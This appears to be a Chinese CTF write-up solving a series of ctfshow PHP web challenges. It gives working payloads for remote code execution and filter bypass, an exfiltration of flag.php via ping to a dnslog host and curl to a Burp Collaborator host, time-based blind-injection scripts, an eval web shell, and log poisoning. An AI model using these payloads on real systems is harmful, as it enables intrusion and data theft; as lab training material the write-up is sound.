<?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['username' ]) && isset ($_GET ['password' ]) && isset ($_GET ['code' ])){ $username = (String)$_GET ['username' ]; $password = (String)$_GET ['password' ]; $code = (String)$_GET ['code' ]; if ($code === mt_rand (1 ,0x36D ) && $password === $flag || $username ==="admin" ){ if ($code == 'admin' ){ echo $flag ; } } }
php运算符优先级 ||
优先级低于&&
/admin?username=admin&password=&code=admin
*web133 <?php error_reporting (0 );highlight_file (__FILE__ );if ($F = @$_GET ['F' ]){ if (!preg_match ('/system|nc|wget|exec|passthru|netcat/i' , $F )){ eval (substr ($F ,0 ,6 )); }else { die ("6个字母都还不够呀?!" ); } }
原理解析
get传参 F=`$F `;sleep 3 经过substr($F,0,6)截取后 得到 `$F `; 也就是会执行 eval("`$F `;"); 我们把原来的$F带进去 eval("``$F `;sleep 3`"); 也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3"); 前面的命令我们不需要管,但是后面的命令我们可以自由控制。 这样就在服务器上成功执行了 sleep 3 所以 最后就是一道无回显的RCE题目了
dnslog 在dnslog 获取地址2553i2.dnslog.cn
,执行命令
/?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.2553i2.dnslog.cn -c 1
然后刷新获得字符串,然后对前面的字符稍作处理即可(去除开头flag
,加上括号,中间按照uid
格式8-4-4-4-12添加-
分割即可)
burp 首先,打开burpsuite
里的Collaborator Client
/?F=`$F `;curl -X POST -F evo=@flag.php zdg64jrwcfs1whzlm8ytol9nkeq5eu.burpcollaborator.net
web134 <?php highlight_file (__FILE__ );$key1 = 0 ;$key2 = 0 ;if (isset ($_GET ['key1' ]) || isset ($_GET ['key2' ]) || isset ($_POST ['key1' ]) || isset ($_POST ['key2' ])) { die ("nonononono" ); } @parse_str ($_SERVER ['QUERY_STRING' ]); extract ($_POST );if ($key1 == '36d' && $key2 == '36d' ) { die (file_get_contents ('flag.php' )); }
/?_POST[key1]=36d&_POST[key2]=36d
web135 <?php error_reporting (0 );highlight_file (__FILE__ );if ($F = @$_GET ['F' ]){ if (!preg_match ('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i' , $F )){ eval (substr ($F ,0 ,6 )); }else { die ("师傅们居然破解了前面的,那就来一个加强版吧" ); } }
可以写文件,然后访问即可
/?F=`$F`; cp flag.php 1.txt /?F=`$F`; nl f*>aaa
web136 <?php error_reporting (0 );function check ($x ) { if (preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } } if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check ($c ); exec ($c ); } else { highlight_file (__FILE__ ); } ?>
可以使用tee
命令
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件 用法: tee file1 file2 //复制文件 ls|tee 1.txt //命令输出到1.txt文件中
查看目录后写文件即可
/?c=ls /|tee aaa /?c=nl /f149_15_h3r3|tee bbb
web137 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } } call_user_func ($_POST ['ctfshow' ]);
call_user_func()详解 调用静态方法即可
POST: ctfshow=ctfshow::getFlag
web138 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } } if (strripos ($_POST ['ctfshow' ], ":" )>-1 ){ die ("private function" ); } call_user_func ($_POST ['ctfshow' ]);
传数组
POST: ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139 <?php error_reporting (0 );function check ($x ) { if (preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } } if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check ($c ); exec ($c ); } else { highlight_file (__FILE__ ); } ?>
awk逐行获取数据,cut命令逐列获取单个字符,利用if语句来判断命令是否执行,进行盲注
if [ `cat flag | awk NR==2 | cut -c 5` == "{" ];then echo '123' ;fi if [ `cat flag | awk NR==2 | cut -c 5` == "{" ];then sleep 2;fi if [ `ls / | awk NR==2 | cut -c 5` == "a" ];then sleep 2;fi
编写exp
,先是看文件名
import requestsimport strings = string.ascii_letters + string.digits + '_' res = '' url = 'http://931d3429-d6c9-46bd-b83c-698b86f7aef1.challenge.ctf.show/?c=' for i in range (1 ,5 ): f = 0 for j in range (1 ,15 ): if f == 1 : break for k in s: payload = f'if [ `ls / | awk NR=={i} | cut -c {j} ` == "{k} " ];then sleep 3;fi' try : requests.get(url=url+payload, timeout=(2.5 ,2.5 )) except : res += k print (res) break if k == '_' : f = 1 res += ' '
然后是读取f149_15_h3r3
文件内容
import requestsimport stringimport times = string.ascii_letters + string.digits + '-' flag = '' url = 'http://931d3429-d6c9-46bd-b83c-698b86f7aef1.challenge.ctf.show/?c=' for i in range (1 ,60 ): if i==8 : flag += '{' print (flag) pass for j in s: payload = f'if [ `cat /f149_15_h3r3 | cut -c {i} ` == "{j} " ];then sleep 3;fi' try : requests.get(url=url+payload, timeout=(2.5 ,2.5 )) except : flag += j print (flag) break print (flag+'}' )
web140 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['f1' ]) && isset ($_POST ['f2' ])){ $f1 = (String)$_POST ['f1' ]; $f2 = (String)$_POST ['f2' ]; if (preg_match ('/^[a-z0-9]+$/' , $f1 )){ if (preg_match ('/^[a-z0-9]+$/' , $f2 )){ $code = eval ("return $f1 ($f2 ());" ); if (intval ($code ) == 'ctfshow' ){ echo file_get_contents ("flag.php" ); } } } }
弱类型比较
POST: f1=md5&f2=phpinfo f1=md5&f2=md5 还有很多 md5(phpinfo()) md5(sleep()) md5(md5()) current(localeconv) sha1(getcwd()) 因为/var/www/html md5后开头的数字所以我们改用sha1 参考: https://blog.csdn.net/miuzzx/article/details/109197158?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167152613816782428677033%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=167152613816782428677033&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-3-109197158-null-null.article_score_rank_blog&utm_term=php%E7%89%B9%E6%80%A7&spm=1018.2226.3001.4450
web141 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/^\W+$/' , $v3 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
在php
中数字是可以和命令进行一些运算的,例如 1-phpinfo();
是可以执行phpinfo()
命令的。
故构造出system(‘tac f*’)
即可
/?v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1
web142 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['v1' ])){ $v1 = (String)$_GET ['v1' ]; if (is_numeric ($v1 )){ $d = (int )($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d ); sleep ($d ); echo file_get_contents ("flag.php" ); } }
web143 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
使用异或
/?v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1
web144 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && check ($v3 )){ if (preg_match ('/^\W+$/' , $v2 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } } function check ($str ) { return strlen ($str )===1 ?true :false ; }
/?v1=1&v3=-&v2=(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)
web145 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
借用三目运算符即可
/?v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1
web146 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
使用等号和位运算符
/?v1=1&v3===(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)||&v2=1
web147 <?php highlight_file (__FILE__ );if (isset ($_POST ['ctf' ])){ $ctfshow = $_POST ['ctf' ]; if (!preg_match ('/^[a-z0-9_]*$/isD' ,$ctfshow )) { $ctfshow ('' ,$_GET ['show' ]); } }
参考这篇博文 绕过正则
get: /?show=echo 1;}system('tac flag.php');// post: ctf=\create_function
web148 <?php include 'flag.php' ;if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (preg_match ("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/" ,$code )){ die ("error" ); } @eval ($code ); } else { highlight_file (__FILE__ ); } function get_ctfshow_fl0g ( ) { echo file_get_contents ("flag.php" ); }
没有过滤异或
/?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
也可以使用中文变量
/?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* "`{{{"^"?<>/"; 异或出来的结果是 _GET
web149 <?php error_reporting (0 );highlight_file (__FILE__ );$files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } } file_put_contents ($_GET ['ctf' ], $_POST ['show' ]);$files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } }
可以直接往index.php
里面写🐎,如果是别的文件就要利用竞争
GET: /?ctf=index.php POST: 1=system('cat /ctfshow_fl0g_here.txt');&show=<?php eval($_POST[1]);?>
web150 <?php include ("flag.php" );error_reporting (0 );highlight_file (__FILE__ );class CTFSHOW { private $username ; private $password ; private $vip ; private $secret ; function __construct ( ) { $this ->vip = 0 ; $this ->secret = $flag ; } function __destruct ( ) { echo $this ->secret; } public function isVIP ( ) { return $this ->vip?TRUE :FALSE ; } } function __autoload ($class ) { if (isset ($class )){ $class (); } } $key = $_SERVER ['QUERY_STRING' ];if (preg_match ('/\_| |\[|\]|\?/' , $key )){ die ("error" ); } $ctf = $_POST ['ctf' ];extract ($_GET );if (class_exists ($__CTFSHOW__ )){ echo "class is exists!" ; } if ($isVIP && strrpos ($ctf , ":" )===FALSE ){ include ($ctf ); }
日志包含,执行两次即可看到结果
GET: /?isVIP=1 POST: ctf=/var/log/nginx/access.log User-Agent:<?php system('tac f*');?>
web150_plus <?php include ("flag.php" );error_reporting (0 );highlight_file (__FILE__ );class CTFSHOW { private $username ; private $password ; private $vip ; private $secret ; function __construct ( ) { $this ->vip = 0 ; $this ->secret = $flag ; } function __destruct ( ) { echo $this ->secret; } public function isVIP ( ) { return $this ->vip?TRUE :FALSE ; } } function __autoload ($class ) { if (isset ($class )){ $class (); } } $key = $_SERVER ['QUERY_STRING' ];if (preg_match ('/\_| |\[|\]|\?/' , $key )){ die ("error" ); } $ctf = $_POST ['ctf' ];extract ($_GET );if (class_exists ($__CTFSHOW__ )){ echo "class is exists!" ; } if ($isVIP && strrpos ($ctf , ":" )===FALSE && strrpos ($ctf ,"log" )===FALSE ){ include ($ctf ); }
使用的..CTFSHOW..
会被解析成__CTFSHOW__
然后进行了变量覆盖,因为CTFSHOW是类就会使用__autoload()函数方法去加载phpinfo,flag在phpinfo中